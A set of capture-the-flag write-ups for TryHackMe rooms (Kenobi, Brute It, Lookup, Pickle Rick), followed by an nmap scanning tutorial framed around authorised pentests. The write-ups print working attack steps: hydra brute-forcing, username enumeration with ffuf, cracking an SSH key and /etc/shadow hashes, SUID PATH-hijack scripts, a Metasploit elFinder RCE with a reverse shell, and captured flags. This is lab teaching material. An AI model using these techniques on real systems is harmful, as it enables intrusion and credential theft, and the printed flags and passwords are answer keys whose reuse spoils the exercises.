Enumeration

Nmap Scan

Starting with a full service scan:

┌──(kali㉿kali)-[~/TryHackME]
└─$ nmap -sC -sV kenobi.thm                                                  
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-27 22:56 +0530
Stats: 0:00:06 elapsed; 1 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 28.57% done; ETC: 22:56 (0:00:15 remaining)
Nmap scan report for kenobi.thm (10.48.163.54)
Host is up (0.036s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5a:8b:35:62:9e:1a:fb:ad:7f:00:25:5c:38:95:ec:2e (RSA)
|   256 93:7b:b9:00:0f:2a:91:8a:43:ca:23:e9:39:da:f0:4f (ECDSA)
|_  256 e8:49:7c:f1:e6:39:d2:9e:b9:a4:e6:e0:13:41:07:af (ED25519)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin.html
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41465/tcp6  mountd
|   100005  1,2,3      45325/tcp   mountd
|   100005  1,2,3      45452/udp6  mountd
|   100005  1,2,3      46050/udp   mountd
|   100021  1,3,4      35002/udp   nlockmgr
|   100021  1,3,4      44293/tcp6  nlockmgr
|   100021  1,3,4      45565/tcp   nlockmgr
|   100021  1,3,4      49243/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
2049/tcp open  nfs         3-4 (RPC #100003)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2026-10-27T17:26:48
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds

Scan the machine with nmap, how many ports are open? 7

SMB Enumeration

The suggested smb-enum-shares script had compatibility issues, so smbclient was used instead:

┌──(kali㉿kali)-[~/TryHackME/kenobi]
└─$ smbclient -L //10.48.163.54/ -N

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.48.163.54 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

No of shares found : 3

Connecting to the anonymous share and downloading log.txt:

File found: log.txt

log.txt reveals that Kenobi generated an SSH key, and also tells us the FTP port in use.

Answer: Port 21

FTP : ProFTPD Version

Checking the FTP version:

Answer: ProFTPD 1.3.5

Searching for Exploits

Searching for known exploits for ProFTPD 1.3.5:

Answer: 3 exploits found for ProFTPD 1.3.5

Summary of findings so far

Three critical things were identified:

1. SMB: The anonymous share contains log.txt, which reveals that Kenobi generated an SSH key at /home/kenobi/.ssh/id_rsa.
2. FTP: ProFTPD 1.3.5 is running which vulnerable to an unauthenticated file copy exploit via mod_copy.
3. NFS: The server exports /var, which can be mounted from a local Kali machine.

Exploitation : mod_copy

The vulnerable ProFTPD module, mod_copy, implements two commands:

• SITE CPFR : Copy From. Specifies the source file.
• SITE CPTO : Copy To. Specifies the destination file.

The attack chain is as follows:

• Kenobi's private SSH key is at /home/kenobi/.ssh/id_rsa.
• Direct FTP access to that path isn't possible.
• But mod_copy allows unauthenticated file copying on the FTP server.
• Copying the key into /var/tmp makes it accessible via the NFS export.

Mounting /var and Retrieving the Key

After mounting /var from the target, id_rsa is accessible under /var/tmp. Permissions are fixed with chmod 600, then SSH is used to log in:

Successfully logged in as kenobi.

Privilege Escalation

Finding SUID Binaries

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/su

Answer: /usr/bin/menu stands out : it's not a standard system binary.

Inspecting /usr/bin/menu

Running the binary:

!image.png

Answer: 3 options are presented by the menu binary.

Running strings on the binary to see what it calls:

The binary calls ifconfig, uname, and curl without absolute paths. This makes it vulnerable to a PATH hijack attack.

PATH Hijack

Since menu is an SUID binary (runs as root) and calls binaries using relative names, a fake curl binary can be planted earlier in the PATH:

The sh binary is copied to /tmp/curl and given chmod 777 permissions. Then /tmp is prepended to $PATH. When menu runs and calls curl, it finds the fake sh binary first and since menu is SUID root, the shell spawns as root.

Root Flag

# cd /root
# cat root.txt  
177b3cd8562289f37382721c28381f02

Answer: 177b3cd8562289f37382721c28381f02

Recon

nmap

Running a full port scan with service detection:

┌──(kali㉿kali)-[~/TryHackME]
└─$ nmap -sV 10.48.154.61 -p- 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-27 11:10 +0530
Nmap scan report for bruteit.thm (10.48.154.61)
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds

• Open ports: 2
• SSH version: OpenSSH 7.6p1
• Apache version: 2.4.29
• Linux distribution: Ubuntu

gobuster

Enumerating hidden directories:

┌──(kali㉿kali)-[~/TryHackME]
└─$ gobuster dir -u http://bruteit.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bruteit.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,txt,bak,zip,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 10918]
admin                (Status: 301) [Size: 310] [--> http://bruteit.thm/admin/]

Hidden directory found: /admin

Exploitation

Admin Panel

The login form at /admin/ sends a POST request like this:

POST /admin/ HTTP/1.1
Host: bruteit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://bruteit.thm
Connection: keep-alive
Referer: http://bruteit.thm/admin/
Cookie: PHPSESSID=5v9r8f1fkloooiftdl9picd2bf
Upgrade-Insecure-Requests: 1
Priority: u=0, i

user=admin&pass=admin

Failure message: Username or password invalid

Using Hydra to brute force the login with username admin:

┌──(kali㉿kali)-[~/TryHackME/LookUp]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt bruteit.thm http-post-form "/admin/:user=^USER^&pass=^PASS^:Username or password invalid"
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-27 11:20:39
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://bruteit.thm:80/admin/:user=^USER^&pass=^PASS^:Username or password invalid
[80][http-post-form] host: bruteit.thm   login: admin   password: xavier
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-27 11:20:54

Credentials found: admin:xavier

Logging in also reveals the web flag: THM{brut3_f0rce_is_e4sy}

Cracking the RSA Key

The admin panel also provides an RSA private key. Extracting the hash and cracking it with John the Ripper:

ssh2john john_rsa > john_key.hash 

┌──(kali㉿kali)-[~/TryHackME/bruteit]
└─$ john john_key.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockinroll       (john_rsa)     
1g 0:00:00:00 DONE (2026-10-27 11:31) 100.0g/s 7260Kp/s 7260Kc/s 7260KC/s saloni..rock14
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

RSA key passphrase: rockinroll

Logging in via SSH:

┌──(kali㉿kali)-[~/TryHackME/bruteit]
└─$ ssh john@bruteit.thm -i john_rsa  

Running cat user.txt gives the user flag: THM{a_password_is_not_a_barrier}

Privilege Escalation

Checking sudo permissions:

john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat

Since cat can be run as root, the /etc/shadow file can be read. Unshadowing and cracking the root hash:

└─$ sudo unshadow root_passwd root_shadow > shadow.hash

┌──(kali㉿kali)-[~/TryHackME/bruteit]
└─$ john shadow.hash --wordlist /usr/share/wordlists/rockyou.txt
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
football         (root)     
1g 0:00:00:00 DONE (2026-10-27 11:54) 8.333g/s 4266p/s 4266c/s 4266C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Root password: football

Root flag: THM{pr1v1l3g3_3sc4l4t10n}

Room url: https://tryhackme.com/room/lookup/

Recon

Starting with an nmap scan. Only two ports are open:

Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A gobuster scan on the web server doesn't reveal much beyond index.php and login.php:

$ gobuster dir -u http://lookup.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://lookup.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 719]
login.php            (Status: 200) [Size: 1]
Progress: 43876 / 1323354 (3.32%)

Enumeration

The login page:

The login form has a subtle but critical flaw : it returns different error messages depending on whether the username exists.

Entering hahaha / hahaha (invalid user):

Entering admin / pass (valid user, wrong password):

Two distinct responses : the error message leaks whether a username is valid:

• Valid username, wrong password → "Wrong password"
• Wrong username (any password) → "Wrong username or password"

Exploitation

Username Enumeration

Now that admin is confirmed valid, a hydra run with rockyou finds admin : password123 ; but entering those creds still returns "Wrong username or password". Suspicious.

The behaviour maps out as:

• Correct username, wrong password → "Wrong password"
• Wrong username, correct/wrong password → "Wrong username or password"

So the brute was matching on the wrong error string. Flipping the approach: keep a dummy password and fuzz the username instead using ffuf, filtering out the "Wrong username or password" response:

$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -u http://lookup.thm/login.php \
  -X POST \
  -d 'username=FUZZ&password=wrongpassword' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -mc all \
  -fr 'Wrong username or password'

admin                   [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 118ms]
jose                    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 83ms]

Two valid usernames: admin and jose.

Credential Brute-Force

Bruting admin runs indefinitely so it's likely a very complex password. Trying jose with hydra:

$ hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong"

[80][http-post-form] host: lookup.thm   login: jose   password: password123
1 of 1 target successfully completed, 1 valid password found

jose : password123 and this one actually works.

Foothold via elFinder RCE

Logging in redirects to files.<ip-address>. After adding it to /etc/hosts, the app redirects to:

http://files.lookup.thm/elFinder/elfinder.html

The elFinder version is confirmed as 2.1.47 from

http://files.lookup.thm/elFinder/js/elfinder.min.js

Searchsploit turns up two relevant exploits:

Using the Metasploit reverse shell module with RHOSTS set:

The session kept dying with:

[*] 10.48.183.120 - Meterpreter session 8 closed.  Reason: Died
[+] Deleted uploaded file
[!] This exploit may require manual cleanup of '.2mhSqO.php' on the target
[*] Exploit completed, but no session was created.

After ~3 hours of debugging, two fixes:

1. Verify LHOST : Run ip route get <victim-machine-ip> to confirm which interface IP is used to reach the target. That is the correct LHOST.
2. Switch the payload : Use set payload php/reverse_php (or browse show payloads and pick an alternative). This is what ultimately worked.

Shell lands as www-data. A look at /etc/passwd shows three users with bash: root, think, and ubuntu

Lateral Movement : Abusing a Custom SUID Binary

Browsing through the system we find a user.txt under /home/think but we dont have permissions to read it because we are www-data

Searching for SUID binaries turns up something non-standard:

find / -perm -u=s -type f 2>/dev/null
...
/usr/sbin/pwm

Running it:

pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

The binary calls id, parses the username from the output, and reads /home/<username>/.passwords. Since it calls id without an absolute path, this is a classic PATH hijacking vulnerability.

Creating a fake id binary in /tmp that impersonates think:

cd /tmp
printf '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"\n' > id
chmod +x id
export PATH=/tmp:$PATH

When PATH is prepended with /tmp, the system finds the fake id there first before checking the real binary. Running pwm again now dumps the contents of /home/think/.passwords:

Using that as the password list for SSH:

$ hydra -l think -P jose_passwords.txt lookup.thm ssh

[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found

SSH in and grab the user flag:

Root Flag

As think, checking sudo permissions:

look is a file-reading utility; with sudo, it can read any file on the system.(gtfobins)

Using it directly against the root flag:

Root flag captured ; no full shell escalation required.

Key Takeaways

• Differing error messages on login forms leak valid usernames are always worth probing both a known-bad username and a suspected valid one to compare responses.
• PATH hijacking is highly effective when a SUID binary calls system commands by name rather than absolute path ; placing a fake binary earlier in $PATH redirects execution entirely.
• The look utility with sudo rights is a straightforward file-read primitive always cross-reference sudo-allowed binaries against GTFOBins.

Objective: Find three secret ingredients hidden on the machine.

Scanning

Started with an nmap scan to enumerate open services on the target.

Enumeration

Inspected the web server running on the machine. The page hinted at pickle (possible pickle deserialisation) and the word "reverse" suggesting a reverse shell would be needed later.

Ran a gobuster scan to discover hidden directories and pages on the web server.

Source code / curl inspection revealed a username embedded in the page:

• Username: R1ckRul3s

Checking robots.txt returned:

• Wubbalubbadubdub

Exploitation

Tried Wubbalubbadubdub as the password for the login panel and it worked.

Command Panel : Ingredient 1

The login led to a command execution panel. Running ls showed the files in the web root, including the first ingredient file.

cat was disabled, but less was not:

less Sup3rS3cretPickl3Ingred.txt

Ingredient 1: mr. meeseek hair

Home Directory : Ingredient 2

Browsing /home/rick/ revealed a file with a space in its name. Used a wildcard to read it:

less /home/rick/*

Alternatively, for files with spaces in their names, wrap the path in single quotes so the shell treats it as one argument.

This gave the second ingredient.

Ingredient 2: 1 jerry tear

Reverse Shell : Ingredient 3

To find the third ingredient (likely in /root), a reverse shell was needed.

Tip: To find your attack box IP from the target machine:

ip route <attack-box-ip>

The output will show your machine's IP in the hop results.

Tried several reverse shell payloads from https://www.revshells.com/ until one worked. Set up a listener and caught the shell.

Checked sudo privileges:

sudo -l

All commands could be run as sudo (no password required). Escalated to root:

sudo su

Then read the third ingredient from /root/3rd.txt

Ingredient 3: fleeb juice

Technically, you don't need a reverse shell here. You can just type sudo -l in the command panel and proceed the same way with the rest. We have tried a reverse shell here just for the sake of the room's theme.

Summary

You have an IP. What services are exposed?

Stage 1: Identify the ports

The client provides you with a target IP, 10.10.20.15. You need to determine which network services are exposed before deciding what to test next.

Your first command :

nmap 10.10.20.15

And you get something like:

22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

What Nmap does

• Performs host discovery.

• If the host appears up, scans the 1,000 most commonly used TCP ports.

• Classifies the ports based on the responses.

• Reports the associated service names, which are initially based mainly on port-number conventions. You're now aware of 3 potentially accessible services

Stage 2: Know the versions

Now that you know the ports, you need to know the services open and their versions. Perhaps, one of them is using an outdated version and there are exploits in the wild you could use to advance. So you do:

nmap -sV 10.10.20.15

The -sV option sends additional probes to open ports to identify the application protocol and software version where possible. Sample output:

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.x
80/tcp  open  http    nginx 1.x
443/tcp open  ssl/http nginx 1.x

Stage 3 : You don't find a service you know exists

Now suppose the client tells you that the target also hosts an administrative service. You expect it to be accessible on TCP port 8443, but your scan doesn't show it.

Don't immediately assume that the service is hidden. There are several explanations.

Stage 4: Missing service?

You know from your client or from the challenge description that there is a service X running in the machine. However, you don't see it in the test results. What could have happened here?

Possibility 1: You didn't scan the right port

The service may run on TCP 8443, but the default scan checks only its selected 1,000 common ports.

Next step:

nmap -p- 10.10.20.15

This checks all TCP ports from 1–65,535.

Possibility 2: The service uses UDP

You expect DNS or SNMP, but you've only scanned TCP. A TCP scan won't establish whether the corresponding UDP service is exposed.

Next step: sudo nmap -sU -p 53,161 10.10.20.15

This checks UDP ports 53 and 161, commonly associated with DNS and SNMP.

Possibility 3: A firewall is filtering the traffic

The service might exist, but your scan originates from a network location that isn't allowed to reach it.

Next step: inspect the port state, compare the approved network paths, and check firewall policy or logs if available.

Possibility 4: You're testing from the wrong network location

An internal admin panel might be accessible only from a VPN or management subnet. An external scan may not see it at all.

Next step: confirm the engagement's permitted source locations and repeat the assessment from the authorised vantage point.

The important lesson is to diagnose the limitation before changing the scan technique. A different TCP flag cannot discover a UDP-only service, and a stealth scan cannot guarantee access through a correctly configured firewall.

Stage 5: The target responds, but ports are closed or filtered

Case A: closed

Example:

PORT     STATE   SERVICE
8443/tcp closed  https-alt

A common reason is that the host returned a TCP reset because nothing is listening on that port.

Real-life possibilities include:

• The service is stopped or has been decommissioned.

• The application is listening on a different port.

• You have the right IP but the wrong server.

• A firewall or security appliance actively rejects the connection with a reset.

Pentester's next step: verify the target, confirm the expected service and port with the engagement information, and compare behaviour from another authorised network location. Don't label a port closed by default as evidence of firewall filtering.

Case B: filtered

Example:

PORT     STATE     SERVICE
8443/tcp filtered  https-alt

Nmap cannot determine whether the port is open because a firewall may be dropping the probes or responses.

Real-life examples:

• An internet-facing firewall allows TCP 443 but blocks TCP 8443.

• A cloud security group permits access only from a corporate VPN.

• An endpoint firewall drops incoming connections from untrusted subnets.

• An intrusion-prevention system drops probes that match a security rule.

Pentester's next step: check the authorised source IP, routing, VPN status and relevant firewall logs. If the assessment includes testing the firewall's filtering behaviour, choose a scan technique suited to that specific question.

Stage 6 : You need to understand the firewall, not just the ports

Suppose a client says: "Our firewall should block unsolicited connections to our servers. Can you validate that?"

Your job is not simply to find a different command that makes the firewall disappear. You need to determine what the firewall permits, blocks or rejects.

Option 1: SYN scan - the normal starting point

sudo nmap -sS -p 22,80,443,8443 10.10.20.15

This sends TCP SYN probes to the specified ports.

Why use it?

• It is an efficient way to determine TCP port states.

• It doesn't complete the TCP handshake for open ports.

• It provides clear distinctions between open, closed and filtered in typical cases. This is generally the best starting point for TCP port discovery when you have raw-packet privileges.

You may have noticed that I used sudo here. This is because in order to disassemble and reassemble requests on a packet level, nmap needs escalated privileges

Option 2: ACK scan - investigate packet filtering

sudo nmap -sA -p 22,443,8443 10.10.20.15

An ACK scan sends TCP packets with the ACK flag set. It can help determine whether probes appear to be filtered or unfiltered, which is useful when evaluating firewall rules.

However, it doesn't tell you whether a port is open.

Example: a firewall may allow traffic from a management subnet but block it from an external test network. Comparing authorised scans from the two locations, alongside firewall logs, can help establish whether the policy behaves as intended.

Option 3: NULL, FIN and Xmas scans

sudo nmap -sN 10.10.20.15
sudo nmap -sF 10.10.20.15
sudo nmap -sX 10.10.20.15

These send TCP probes with unusual flag combinations. They are useful for understanding how different operating systems and packet filters handle non-standard probes.

In some older or stateless filtering configurations, rules are primarily built around blocking SYN packets that initiate connections. Probes without SYN may behave differently under such rules.

But the result is not guaranteed to be more accurate or less detectable. Modern firewalls and IDS/IPS systems can identify unusual TCP probes, and some operating systems return resets in cases where these scans expect silence. That can make open and closed ports difficult to distinguish.

Real-life use: In an explicitly authorised firewall assessment, compare these results with the SYN scan and firewall logs to understand the rules' behaviour. Don't infer that a silent response means an open service.

Stage 7 : The client wants a stealth assessment

Now suppose the engagement has a specific requirement. The IDS/IPS is up and running. You can't trigger any uneccessary alarms. You need to find the exposed services with minimal disruption.

This is where you need to distinguish low-impact scanning, scan types historically called stealth scans, and attempts to evade detection. They're related, but not interchangeable.

First: -sS is not invisible

sudo nmap -sS 10.10.20.15

A SYN scan is often called a stealth scan because it normally avoids completing TCP connections to open ports.

But modern firewalls and network monitoring systems can still detect it. If your engagement requires stealth, the rules of engagement should explicitly define what is allowed and how detection is measured.

Second: Reduce the scan's intensity

Nmap timing templates let you adjust scan speed:

nmap -T2 10.10.20.15

-T2 is a slower timing template than the default. It can be useful when a client asks you to limit the scan's rate and load.

For an even more controlled assessment, use a small port list and an explicitly defined timing policy:

nmap -T2 -p 22,80,443 10.10.20.15

Third: use the scan results to measure detection

During a properly scoped assessment, compare:

• What nmap observed.

• What the firewall logged.

• What the IDS/IPS alerted on.

• Whether the security team correctly identified the source, target and time of the scan. This produces a meaningful result: not merely whether a command was detected, but whether the organisation's monitoring controls worked as intended.

What about decoys and packet fragmentation?

Nmap also has specialised options such as -D for decoy scanning and -f for IP fragmentation. These are designed to examine particular filtering and monitoring behaviours, but they can complicate attribution and produce misleading results.

For a real pentest, use them only when the signed scope explicitly permits those techniques and the client understands their impact. Fragmentation can be blocked or reassembled by network devices, while decoys do not guarantee that the actual scanner cannot be identified.

Stage 8: The pentester's decision tree

The decision tree is a guide rather than a rigid sequence. You may need to revisit earlier steps as new evidence emerges

Final notes

A good pentester doesn't keep changing flags until something works. They form a hypothesis about what is happening on the network, choose a scan that tests that hypothesis, and interpret the result within its limitations.

Use the official Nmap Port Scanning Techniques reference for packet-level details, and TryHackMe Further Nmap as the practical learning sequence.